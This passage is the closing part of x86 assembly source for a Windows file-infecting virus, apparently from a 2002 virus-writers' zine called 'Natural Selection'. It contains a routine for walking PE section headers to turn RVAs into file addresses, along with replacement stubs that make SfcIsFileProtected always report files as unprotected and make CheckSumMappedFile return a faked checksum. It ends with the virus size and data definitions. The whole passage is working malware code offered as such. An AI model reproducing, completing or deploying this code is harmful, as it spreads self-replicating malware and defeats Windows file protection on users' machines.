ret
AlignToVA ENDP
; =============================================================================
; ( Convert RVA to VA ) =======================================================
; =============================================================================
ConvertToVA PROC MAP:DWORD, VALUE:DWORD
mov esi, [MAP ]
mov edi, [VALUE]
or edi, edi
jz ConvertFail
; Locate start of SECTION in MAP, prepare for looping through them all
add esi, [esi][IMAGE_DOS_HEADER.e_lfanew]
movzx ecx, [esi][PE.NumberOfSections ]
add si, [esi][PE.SizeOfOptionalHeader ]
adc esi, PE.Magic
ConvertLoop:
; Jump over this section entry if it starts above our RVA
cmp [esi][SECTION.VirtualAddress], edi
ja ConvertNext
; To find out where the section ends in the file, we need to check the
; SizeOfRawData and VirtualSize entries and use the biggest one. Know
; now that TASM and MASM swap the meanings of these entries. Bitches.
mov eax, [esi][SECTION.SizeOfRawData ]
cmp eax, [esi][SECTION.VirtualSize ]
ja @F
mov eax, [esi][SECTION.VirtualSize ]
@@: add eax, [esi][SECTION.VirtualAddress]
; Jump over this section entry if it ends below our RVA
cmp eax, edi
jbe ConvertNext
; Fail if this entry doesn't exist in the file [could be memory only]
cmp [esi][SECTION.PointerToRawData], 0
je ConvertFail
; Convert raw pointer to VA and add our value's pointers offset to it
mov eax, [MAP]
add eax, [esi][SECTION.PointerToRawData]
sub edi, [esi][SECTION.VirtualAddress ]
add eax, edi
jmp ConvertExit
ConvertNext:
add esi, SIZE SECTION
loop ConvertLoop
ConvertFail:
xor eax, eax
ConvertExit:
ret
ConvertToVA ENDP
; =============================================================================
; ( Alternate SfcIsFileProtected ) ============================================
; =============================================================================
AlternSfc PROC A:DWORD, B:DWORD
; Alternate SfcIsFileProtected procedure, returns "File Unprotected"
mov eax, FALSE
ret
AlternSfc ENDP
; =============================================================================
; ( Alternate CheckSumMappedFile ) ============================================
; =============================================================================
AlternSum PROC A:DWORD, B:DWORD, Y:DWORD, Z:DWORD
; Alternate CheckSumMappedFile procedure, returns "NULL Checksum OK"
mov eax, [Z]
mov ebx, NULL
xchg [eax], ebx
mov eax, [Y]
mov [eax], ebx
mov eax, [A]
add eax, [eax][IMAGE_DOS_HEADER.e_lfanew]
ret
AlternSum ENDP
; =============================================================================
; ( Virus Data ) ==============================================================
; =============================================================================
ALIGN 4
Virus_Code EQU $ - WinMain
Virus_Data VX { }
Virus_Size EQU $ - WinMain
Virus ENDS
END WinMain
COMMENT ` ---------------------------------------------------------------- )=-
-=( Natural Selection Issue #1 --------------- (c) 2002 Feathered Serpents )=-
-=( ---------------------------------------------------------------------- ) `